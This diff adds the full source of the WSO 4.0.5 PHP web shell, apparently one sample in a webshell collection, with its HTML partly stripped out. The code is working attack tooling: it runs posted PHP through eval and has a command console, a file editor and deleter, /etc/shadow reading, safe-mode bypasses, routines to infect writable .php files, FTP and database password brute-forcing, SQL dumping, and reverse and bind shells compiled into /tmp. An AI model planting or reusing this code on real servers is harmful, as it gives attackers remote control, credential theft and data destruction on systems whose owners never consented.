diff --git a/php/wso/WSO_4_0_5.php b/php/wso/WSO_4_0_5.php
new file mode 100644
index 0000000..1461e14
--- /dev/null
+++ b/php/wso/WSO_4_0_5.php
@@ -0,0 +1,1568 @@
+");
+}
+if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
+ if( empty( $auth_pass ) ||
+ ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )
+ $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
+ else
+ printLogin();
+if( strtolower( substr(PHP_OS,0,3) ) == "win" )
+ $os = 'win';
+else
+ $os = 'nix';
+$safe_mode = @ini_get('safe_mode');
+$disable_functions = @ini_get('disable_functions');
+$home_cwd = @getcwd();
+if( isset( $_POST['c'] ) )
+ @chdir($_POST['c']);
+$cwd = @getcwd();
+if( $os == 'win') {
+ $home_cwd = str_replace("\\", "/", $home_cwd);
+ $cwd = str_replace("\\", "/", $cwd);
+}
+if( $cwd[strlen($cwd)-1] != '/' )
+ $cwd .= '/';
+function printHeader() {
+ if(empty($_POST['charset']))
+ $_POST['charset'] = "UTF-8";
+ global $color;
+ ?>
+'><?=$_SERVER['HTTP_HOST']?> - WSO <?=VERSION?>
+
+
+
+
+".$path[$i]."/";
+ }
+ $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
+ $opt_charsets = '';
+ foreach($charsets as $item)
+ $opt_charsets .= '
';
+
+ $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Infect'=>'Infect','Sql'=>'Sql','Php'=>'Php','Safe mode'=>'SafeMode','String tools'=>'StringTools','Port Scanner'=>'PortScanner','Bruteforce'=>'Bruteforce','Network'=>'Network','Domains'=>'Domains');
+ if(!empty($GLOBALS['auth_pass']))
+ $m['Logout'] = 'Logout';
+ $m['Self remove'] = 'SelfRemove';
+ $menu = '';
+ foreach($m as $k => $v)
+ $menu .= '
[ '.$k.' ] | ';
+ $drives = "";
+ if ($GLOBALS['os'] == 'win') {
+ foreach( range('a','z') as $drive )
+ if (is_dir($drive.':\\'))
+ $drives .= '
[ '.$drive.' ] ';
+ }
+ echo '
Uname:
User:
Php:
Hdd:
Cwd:'.($GLOBALS['os'] == 'win'?'
Drives:':'').' | '.
+ ''.substr(@php_uname(), 0, 120).' [Google] [Exploit-DB]
'.$uid.' ( '.$user.' ) Group: '.$gid.' ( '.$group.' )
'.@phpversion().' Safe mode: '.($GLOBALS['safe_mode']?'ON':'OFF').' [ phpinfo ] Datetime: '.date('Y-m-d H:i:s').'
'.viewSize($totalSpace).' Free: '.viewSize($freeSpace).' ('.(int)($freeSpace/$totalSpace*100).'%)
'.$cwd_links.' '.viewPermsColor($GLOBALS['cwd']).' [ home ]
'.$drives.' | '.
+ '
Server IP:
'.gethostbyname($_SERVER["HTTP_HOST"]).'
Client IP:
'.$_SERVER['REMOTE_ADDR'].' |
'.
+ '
';
+}
+function printFooter() {
+ $is_writable = is_writable($GLOBALS['cwd'])?"[ Writeable ]":"[ Not writable ]";
+?>
+
+
+
Server security information
';
+ function showSecParam($n, $v) {
+ $v = trim($v);
+ if($v) {
+ echo '
'.$n.': ';
+ if(strpos($v, "\n") === false)
+ echo $v.'
';
+ else
+ echo '
'.$v.'
';
+ }
+ }
+
+ showSecParam('Server software', @getenv('SERVER_SOFTWARE'));
+ showSecParam('Disabled PHP Functions', ($GLOBALS['disable_functions'])?$GLOBALS['disable_functions']:'none');
+ showSecParam('Open base dir', @ini_get('open_basedir'));
+ showSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
+ showSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
+ showSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
+ $temp=array();
+ if(function_exists('mysql_get_client_info'))
+ $temp[] = "MySql (".mysql_get_client_info().")";
+ if(function_exists('mssql_connect'))
+ $temp[] = "MSSQL";
+ if(function_exists('pg_connect'))
+ $temp[] = "PostgreSQL";
+ if(function_exists('oci_connect'))
+ $temp[] = "Oracle";
+ showSecParam('Supported databases', implode(', ', $temp));
+ echo '
';
+
+ if( $GLOBALS['os'] == 'nix' ) {
+ $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
+ $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
+ $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
+ showSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes
[view]":'no');
+ showSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes
[view]":'no');
+ showSecParam('OS version', @file_get_contents('/proc/version'));
+ showSecParam('Distr name', @file_get_contents('/etc/issue.net'));
+ if(!$GLOBALS['safe_mode']) {
+ echo '
';
+ $temp=array();
+ foreach ($userful as $item)
+ if(which($item)){$temp[]=$item;}
+ showSecParam('Userful', implode(', ',$temp));
+ $temp=array();
+ foreach ($danger as $item)
+ if(which($item)){$temp[]=$item;}
+ showSecParam('Danger', implode(', ',$temp));
+ $temp=array();
+ foreach ($downloaders as $item)
+ if(which($item)){$temp[]=$item;}
+ showSecParam('Downloaders', implode(', ',$temp));
+ echo '
';
+ showSecParam('Hosts', @file_get_contents('/etc/hosts'));
+ showSecParam('HDD space', ex('df -h'));
+ showSecParam('Mount options', @file_get_contents('/etc/fstab'));
+ echo '
posix_getpwuid ("Read" /etc/passwd)';
+ if (isset ($_POST['p2'], $_POST['p3']) && is_numeric($_POST['p2']) && is_numeric($_POST['p3'])) {
+ $temp = "";
+ for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
+ $uid = @posix_getpwuid($_POST['p2']);
+ if ($uid)
+ $temp .= join(':',$uid)."\n";
+ }
+ echo '
';
+ showSecParam('Users', $temp);
+ }
+ }
+ } else {
+ showSecParam('OS Version',ex('ver'));
+ showSecParam('Account Settings',ex('net accounts'));
+ showSecParam('User Accounts',ex('net user'));
+ }
+ echo '
File tools
';
+ if( !file_exists(@$_POST['p1']) ) {
+ echo 'File not exists';
+ printFooter();
+ return;
+ }
+ $uid = @posix_getpwuid(@fileowner($_POST['p1']));
+ $gid = @posix_getgrgid(@fileowner($_POST['p1']));
+ echo '
Name: '.htmlspecialchars($_POST['p1']).'
Size: '.(is_file($_POST['p1'])?viewSize(filesize($_POST['p1'])):'-').'
Permission: '.viewPermsColor($_POST['p1']).'
Owner/Group: '.$uid['name'].'/'.$gid['name'].'
';
+ echo '
Create time: '.date('Y-m-d H:i:s',filectime($_POST['p1'])).'
Access time: '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).'
Modify time: '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'
';
+ if( empty($_POST['p2']) )
+ $_POST['p2'] = 'view';
+ if( is_file($_POST['p1']) )
+ $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
+ else
+ $m = array('Chmod', 'Rename', 'Touch');
+ foreach($m as $v)
+ echo '
'.((strtolower($v)==@$_POST['p2'])?'[ '.$v.' ]':$v).' ';
+ echo '
';
+ switch($_POST['p2']) {
+ case 'view':
+ echo '
';
+ $fp = @fopen($_POST['p1'], 'r');
+ if($fp) {
+ while( !@feof($fp) )
+ echo htmlspecialchars(@fread($fp, 1024));
+ @fclose($fp);
+ }
+ echo '';
+ break;
+ case 'highlight':
+ if( is_readable($_POST['p1']) ) {
+ echo '
';
+ $code = highlight_file($_POST['p1'],true);
+ echo str_replace(array(''), array(''),$code).'
';
+ }
+ break;
+ case 'chmod':
+ if( !empty($_POST['p3']) ) {
+ $perms = 0;
+ for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
+ $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
+ if(!@chmod($_POST['p1'], $perms))
+ echo 'Can\'t set permissions!
';
+ else
+ die('');
+ }
+ echo '
';
+ break;
+ case 'edit':
+ if( !is_writable($_POST['p1'])) {
+ echo 'File isn\'t writeable';
+ break;
+ }
+ if( !empty($_POST['p3']) ) {
+ @file_put_contents($_POST['p1'],$_POST['p3']);
+ echo 'Saved!
';
+ }
+ echo '
';
+ break;
+ case 'hexdump':
+ $c = @file_get_contents($_POST['p1']);
+ $n = 0;
+ $h = array('00000000
','','');
+ $len = strlen($c);
+ for ($i=0; $i<$len; ++$i) {
+ $h[1] .= sprintf('%02X',ord($c[$i])).' ';
+ switch ( ord($c[$i]) ) {
+ case 0: $h[2] .= ' '; break;
+ case 9: $h[2] .= ' '; break;
+ case 10: $h[2] .= ' '; break;
+ case 13: $h[2] .= ' '; break;
+ default: $h[2] .= $c[$i]; break;
+ }
+ $n++;
+ if ($n == 32) {
+ $n = 0;
+ if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'
';}
+ $h[1] .= '
';
+ $h[2] .= "\n";
+ }
+ }
+ echo '
'.$h[0].' | '.$h[1].' | '.htmlspecialchars($h[2]).' |
';
+ break;
+ case 'rename':
+ if( !empty($_POST['p3']) ) {
+ if(!@rename($_POST['p1'], $_POST['p3']))
+ echo 'Can\'t rename!
';
+ else
+ die('');
+ }
+ echo '
';
+ break;
+ case 'touch':
+ if( !empty($_POST['p3']) ) {
+ $time = strtotime($_POST['p3']);
+ if($time) {
+ if(@touch($_POST['p1'],$time,$time))
+ die('');
+ else {
+ echo 'Fail!';
+ }
+ } else echo 'Bad time format!';
+ }
+ echo '
';
+ break;
+ case 'mkfile':
+
+ break;
+ }
+ echo '
Console
';
+ printFooter();
+}
+// Console end --------------------
+// PHP -----------------------
+function actionPhp() {
+ if( isset($_POST['ajax']) ) {
+ $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
+ ob_start();
+ eval($_POST['p1']);
+ $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
+ echo strlen($temp), "\n", $temp;
+ exit;
+ }
+ printHeader();
+ if( isset($_POST['p2']) && ($_POST['p2'] == 'info') ) {
+ echo 'PHP info
';
+ ob_start();
+ phpinfo();
+ $tmp = ob_get_clean();
+ $tmp = preg_replace('!body {.*}!msiU','',$tmp);
+ $tmp = preg_replace('!a:\w+ {.*}!msiU','',$tmp);
+ $tmp = preg_replace('!h1!msiU','h2',$tmp);
+ $tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
+ $tmp = preg_replace('!body, td, th, h2, h2 {.*}!msiU','',$tmp);
+ echo $tmp;
+ echo '
';
+ }
+ if(empty($_POST['ajax'])&&!empty($_POST['p1']))
+ $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
+ echo 'Execution PHP-code
';
+ if(!empty($_POST['p1'])) {
+ ob_start();
+ eval($_POST['p1']);
+ echo htmlspecialchars(ob_get_clean());
+ }
+ echo 'File manager
';
+ if(isset($_POST['p1'])) {
+ switch($_POST['p1']) {
+ case 'uploadFile':
+ if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
+ echo "Can't upload file!";
+ break;
+ break;
+ case 'mkdir':
+ if(!@mkdir($_POST['p2']))
+ echo "Can't create new dir";
+ break;
+ case 'delete':
+ function deleteDir($path) {
+ $path = (substr($path,-1)=='/') ? $path:$path.'/';
+ $dh = opendir($path);
+ while ( ($item = readdir($dh) ) !== false) {
+ $item = $path.$item;
+ if ( (basename($item) == "..") || (basename($item) == ".") )
+ continue;
+ $type = filetype($item);
+ if ($type == "dir")
+ deleteDir($item);
+ else
+ @unlink($item);
+ }
+ closedir($dh);
+ rmdir($path);
+ }
+ if(is_array(@$_POST['f']))
+ foreach($_POST['f'] as $f) {
+ $f = urldecode($f);
+ if(is_dir($f))
+ deleteDir($f);
+ else
+ @unlink($f);
+ }
+ break;
+ case 'paste':
+ if($_SESSION['act'] == 'copy') {
+ function copy_paste($c,$s,$d){
+ if(is_dir($c.$s)){
+ mkdir($d.$s);
+ $h = opendir($c.$s);
+ while (($f = readdir($h)) !== false)
+ if (($f != ".") and ($f != "..")) {
+ copy_paste($c.$s.'/',$f, $d.$s.'/');
+ }
+ } elseif(is_file($c.$s)) {
+ @copy($c.$s, $d.$s);
+ }
+ }
+ foreach($_SESSION['f'] as $f)
+ copy_paste($_SESSION['cwd'],$f, $GLOBALS['cwd']);
+ } elseif($_SESSION['act'] == 'move') {
+ function move_paste($c,$s,$d){
+ if(is_dir($c.$s)){
+ mkdir($d.$s);
+ $h = opendir($c.$s);
+ while (($f = readdir($h)) !== false)
+ if (($f != ".") and ($f != "..")) {
+ copy_paste($c.$s.'/',$f, $d.$s.'/');
+ }
+ } elseif(is_file($c.$s)) {
+ @copy($c.$s, $d.$s);
+ }
+ }
+ foreach($_SESSION['f'] as $f)
+ @rename($_SESSION['cwd'].$f, $GLOBALS['cwd'].$f);
+ }
+ unset($_SESSION['f']);
+ break;
+ default:
+ if(!empty($_POST['p1']) && (($_POST['p1'] == 'copy')||($_POST['p1'] == 'move')) ) {
+ $_SESSION['act'] = @$_POST['p1'];
+ $_SESSION['f'] = @$_POST['f'];
+ foreach($_SESSION['f'] as $k => $f)
+ $_SESSION['f'][$k] = urldecode($f);
+ $_SESSION['cwd'] = @$_POST['c'];
+ }
+ break;
+ }
+ echo '';
+ }
+ $dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
+ if($dirContent === false) { echo 'Can\'t open this folder!'; return; }
+ global $sort;
+ $sort = array('name', 1);
+ if(!empty($_POST['p1'])) {
+ if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
+ $sort = array($match[1], (int)$match[2]);
+ }
+?>
+
+
String conversions
';
+ echo "
";
+ if(!empty($_POST['p1'])) {
+ if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
+ }
+ echo"
Search files:
+
";
+ function printRecursiveGlob($path) {
+ if(substr($path, -1) != '/')
+ $path.='/';
+ $paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR)));
+ if(is_array($paths)&&@count($paths)) {
+ foreach($paths as $item) {
+ if(@is_dir($item)){
+ if($path!=$item)
+ printRecursiveGlob($item);
+ } else {
+ if(empty($_POST['p2']) || @strpos(file_get_contents($item), $_POST['p2'])!==false)
+ echo "
".htmlspecialchars($item)."";
+ }
+ }
+ }
+ }
+ if(@$_POST['p3'])
+ printRecursiveGlob($_POST['c']);
+ echo "
Search for hash:
+
";
+ printFooter();
+}
+// String tools end --------------------
+// Safe mode go ------------------------
+function actionSafeMode() {
+ $temp='';
+ ob_start();
+ switch($_POST['p1']) {
+ case 1:
+ $temp=@tempnam($test, 'cx');
+ if(@copy("compress.zlib://".$_POST['p2'], $temp)){
+ echo @file_get_contents($temp);
+ unlink($temp);
+ } else
+ echo 'Sorry... Can\'t open file';
+ break;
+ case 2:
+ $files = glob($_POST['p2'].'*');
+ if( is_array($files) )
+ foreach ($files as $filename)
+ echo $filename."\n";
+ break;
+ case 3:
+ $ch = curl_init("file://".$_POST['p2']."\x00".SELF_PATH);
+ curl_exec($ch);
+ break;
+ case 4:
+ ini_restore("safe_mode");
+ ini_restore("open_basedir");
+ include($_POST['p2']);
+ break;
+ case 5:
+ for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
+ $uid = @posix_getpwuid($_POST['p2']);
+ if ($uid)
+ echo join(':',$uid)."\n";
+ }
+ break;
+ case 6:
+ if(!function_exists('imap_open'))break;
+ $stream = imap_open($_POST['p2'], "", "");
+ if ($stream == FALSE)
+ break;
+ echo imap_body($stream, 1);
+ imap_close($stream);
+ break;
+ }
+ $temp = ob_get_clean();
+ printHeader();
+ echo 'Safe mode bypass
';
+ echo '
Copy (read file)Glob (list dir)Curl (read file)Ini_restore (read file)Posix_getpwuid ("Read" /etc/passwd)Imap_open (read file)';
+ if($temp)
+ echo '
'.$temp.'
';
+ echo '
Suicide
Really want to remove the shell?
Yes
+| Domain | User List | Symlink |
";
+foreach($d0mains as $d0main){
+if(eregi("zone",$d0main)){
+preg_match_all('#zone "(.*)"#', $d0main, $domains);
+flush();
+if(strlen(trim($domains[1][0])) > 2){
+$user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
+echo "| ".$domains[1][0]." | ".$user['name']." | Miremos |
"; flush();
+}}}
+echo "
+
+FailRoot'Cod3rz FailRoot-Sec.Com | wWw.sEc4EvEr.CoM
+
+";
+ printFooter();
+}
+// Domains end -----------------------
+// Infect go -------------------------
+function actionInfect() {
+ printHeader();
+ echo 'Infect
';
+ if($_POST['p1'] == 'infect') {
+ $target=$_SERVER['DOCUMENT_ROOT'];
+ function ListFiles($dir) {
+ if($dh = opendir($dir)) {
+ $files = Array();
+ $inner_files = Array();
+ while($file = readdir($dh)) {
+ if($file != "." && $file != "..") {
+ if(is_dir($dir . "/" . $file)) {
+ $inner_files = ListFiles($dir . "/" . $file);
+ if(is_array($inner_files)) $files = array_merge($files, $inner_files);
+ } else {
+ array_push($files, $dir . "/" . $file);
+ }
+ }
+ }
+ closedir($dh);
+ return $files;
+ }
+ }
+ foreach (ListFiles($target) as $key=>$file){
+ $nFile = substr($file, -4, 4);
+ if($nFile == ".php" ){
+ if(($file<>$_SERVER['DOCUMENT_ROOT'].$_SERVER['PHP_SELF'])&&(is_writeable($file))){
+ echo "$file
";
+ $i++;
+ }
+ }
+ }
+ echo "
$i";
+ }else{
+ echo "
";
+ echo 'Really want to infect the server?
YesResults
Type: '.htmlspecialchars($_POST['proto']).' Server: '.htmlspecialchars($_POST['server']).'
';
+ if( $_POST['proto'] == 'ftp' ) {
+ function bruteForce($ip,$port,$login,$pass) {
+ $fp = @ftp_connect($ip, $port?$port:21);
+ if(!$fp) return false;
+ $res = @ftp_login($fp, $login, $pass);
+ @ftp_close($fp);
+ return $res;
+ }
+ } elseif( $_POST['proto'] == 'mysql' ) {
+ function bruteForce($ip,$port,$login,$pass) {
+ $res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass);
+ @mysql_close($res);
+ return $res;
+ }
+ } elseif( $_POST['proto'] == 'pgsql' ) {
+ function bruteForce($ip,$port,$login,$pass) {
+ $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=''";
+ $res = @pg_connect($server[0].':'.$server[1]?$server[1]:5432, $login, $pass);
+ @pg_close($res);
+ return $res;
+ }
+ }
+ $success = 0;
+ $attempts = 0;
+ $server = explode(":", $_POST['server']);
+ if($_POST['type'] == 1) {
+ $temp = @file('/etc/passwd');
+ if( is_array($temp) )
+ foreach($temp as $line) {
+ $line = explode(":", $line);
+ ++$attempts;
+ if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
+ $success++;
+ echo ''.htmlspecialchars($line[0]).':'.htmlspecialchars($line[0]).'
';
+ }
+ if(@$_POST['reverse']) {
+ $tmp = "";
+ for($i=strlen($line[0])-1; $i>=0; --$i)
+ $tmp .= $line[0][$i];
+ ++$attempts;
+ if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
+ $success++;
+ echo ''.htmlspecialchars($line[0]).':'.htmlspecialchars($tmp);
+ }
+ }
+ }
+ } elseif($_POST['type'] == 2) {
+ $temp = @file($_POST['dict']);
+ if( is_array($temp) )
+ foreach($temp as $line) {
+ $line = trim($line);
+ ++$attempts;
+ if( bruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
+ $success++;
+ echo ''.htmlspecialchars($_POST['login']).':'.htmlspecialchars($line).'
';
+ }
+ }
+ }
+ echo "Attempts: $attempts Success: $success
";
+ }
+ echo 'FTP bruteforce
';
+ printFooter();
+}
+// Bruteforce end --------------------
+// Sql go ----------------------------
+function actionSql() {
+ class DbClass {
+ var $type;
+ var $link;
+ var $res;
+ function DbClass($type) {
+ $this->type = $type;
+ }
+ function connect($host, $user, $pass, $dbname){
+ switch($this->type) {
+ case 'mysql':
+ if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
+ break;
+ case 'pgsql':
+ $host = explode(':', $host);
+ if(!$host[1]) $host[1]=5432;
+ if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
+ break;
+ }
+ return false;
+ }
+ function selectdb($db) {
+ switch($this->type) {
+ case 'mysql':
+ if (@mysql_select_db($db))return true;
+ break;
+ }
+ return false;
+ }
+ function query($str) {
+ switch($this->type) {
+ case 'mysql':
+ return $this->res = @mysql_query($str);
+ break;
+ case 'pgsql':
+ return $this->res = @pg_query($this->link,$str);
+ break;
+ }
+ return false;
+ }
+ function fetch() {
+ $res = func_num_args()?func_get_arg(0):$this->res;
+ switch($this->type) {
+ case 'mysql':
+ return @mysql_fetch_assoc($res);
+ break;
+ case 'pgsql':
+ return @pg_fetch_assoc($res);
+ break;
+ }
+ return false;
+ }
+ function listDbs() {
+ switch($this->type) {
+ case 'mysql':
+ return $this->res = @mysql_list_dbs($this->link);
+ break;
+ case 'pgsql':
+ return $this->res = $this->query("SELECT datname FROM pg_database");
+ break;
+ }
+ return false;
+ }
+ function listTables() {
+ switch($this->type) {
+ case 'mysql':
+ return $this->res = $this->query('SHOW TABLES');
+ break;
+ case 'pgsql':
+ return $this->res = $this->query("select table_name from information_schema.tables where (table_schema != 'information_schema' AND table_schema != 'pg_catalog') or table_name = 'pg_user'");
+ break;
+ }
+ return false;
+ }
+ function error() {
+ switch($this->type) {
+ case 'mysql':
+ return @mysql_error($this->link);
+ break;
+ case 'pgsql':
+ return @pg_last_error($this->link);
+ break;
+ }
+ return false;
+ }
+ function setCharset($str) {
+ switch($this->type) {
+ case 'mysql':
+ if(function_exists('mysql_set_charset'))
+ return @mysql_set_charset($str, $this->link);
+ else
+ $this->query('SET CHARSET '.$str);
+ break;
+ case 'mysql':
+ return @pg_set_client_encoding($this->link, $str);
+ break;
+ }
+ return false;
+ }
+ function dump($table) {
+ switch($this->type) {
+ case 'mysql':
+ $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
+ $create = mysql_fetch_array($res);
+ echo $create[1].";\n\n";
+ $this->query('SELECT * FROM `'.$table.'`');
+ while($item = $this->fetch()) {
+ $columns = array();
+ foreach($item as $k=>$v) {
+ $item[$k] = "'".@mysql_real_escape_string($v)."'";
+ $columns[] = "`".$k."`";
+ }
+ echo 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
+ }
+ break;
+ case 'pgsql':
+ $this->query('SELECT * FROM '.$table);
+ while($item = $this->fetch()) {
+ $columns = array();
+ foreach($item as $k=>$v) {
+ $item[$k] = "'".addslashes($v)."'";
+ $columns[] = $k;
+ }
+ echo 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
+ }
+ break;
+ }
+ return false;
+ }
+ };
+ $db = new DbClass($_POST['type']);
+ if(@$_POST['p2']=='download') {
+ ob_start("ob_gzhandler", 4096);
+ $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
+ $db->selectdb($_POST['sql_base']);
+ header("Content-Disposition: attachment; filename=dump.sql");
+ header("Content-Type: text/plain");
+ foreach($_POST['tbl'] as $v)
+ $db->dump($v);
+ exit;
+ }
+ printHeader();
+ ?>
+ Sql browser
+
";
+ if(@$_POST['p1'] == 'loadfile') {
+ $db->query("SELECT LOAD_FILE('".addslashes($_POST['p2'])."') as file");
+ $file = $db->fetch();
+ echo '
'.htmlspecialchars($file['file']).'
';
+ }
+ }
+ echo '
Network tools
+
+
";
+ if(isset($_POST['p1'])) {
+ function cf($f,$t) {
+ $w=@fopen($f,"w") or @function_exists('file_put_contents');
+ if($w) {
+ @fwrite($w,@base64_decode($t)) or @fputs($w,@base64_decode($t)) or @file_put_contents($f,@base64_decode($t));
+ @fclose($w);
+ }
+ }
+ if($_POST['p1'] == 'bpc') {
+ cf("/tmp/bp.c",$bind_port_c);
+ $out = ex("gcc -o /tmp/bp /tmp/bp.c");
+ @unlink("/tmp/bp.c");
+ $out .= ex("/tmp/bp ".$_POST['p2']." ".$_POST['p3']." &");
+ echo "
$out".ex("ps aux | grep bp")."";
+ }
+ if($_POST['p1'] == 'bpp') {
+ cf("/tmp/bp.pl",$bind_port_p);
+ $out = ex(which("perl")." /tmp/bp.pl ".$_POST['p2']." &");
+ echo "
$out".ex("ps aux | grep bp.pl")."";
+ }
+ if($_POST['p1'] == 'bcc') {
+ cf("/tmp/bc.c",$back_connect_c);
+ $out = ex("gcc -o /tmp/bc /tmp/bc.c");
+ @unlink("/tmp/bc.c");
+ $out .= ex("/tmp/bc ".$_POST['p2']." ".$_POST['p3']." &");
+ echo "
$out".ex("ps aux | grep bc")."";
+ }
+ if($_POST['p1'] == 'bcp') {
+ cf("/tmp/bc.pl",$back_connect_p);
+ $out = ex(which("perl")." /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." &");
+ echo "
$out".ex("ps aux | grep bc.pl")."";
+ }
+ }
+ echo '
Port Scanner
';
+ echo '';
+ echo '
';
+ }
+ echo '
';
+ printFooter();
+}
+// Port Scanner end --------------------
+if( empty($_POST['a']) )
+ if(isset($default_action) && function_exists('action' . $default_action))
+ $_POST['a'] = $default_action;
+ else
+ $_POST['a'] = 'FilesMan';
+if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
+ call_user_func('action' . $_POST['a']);
+?>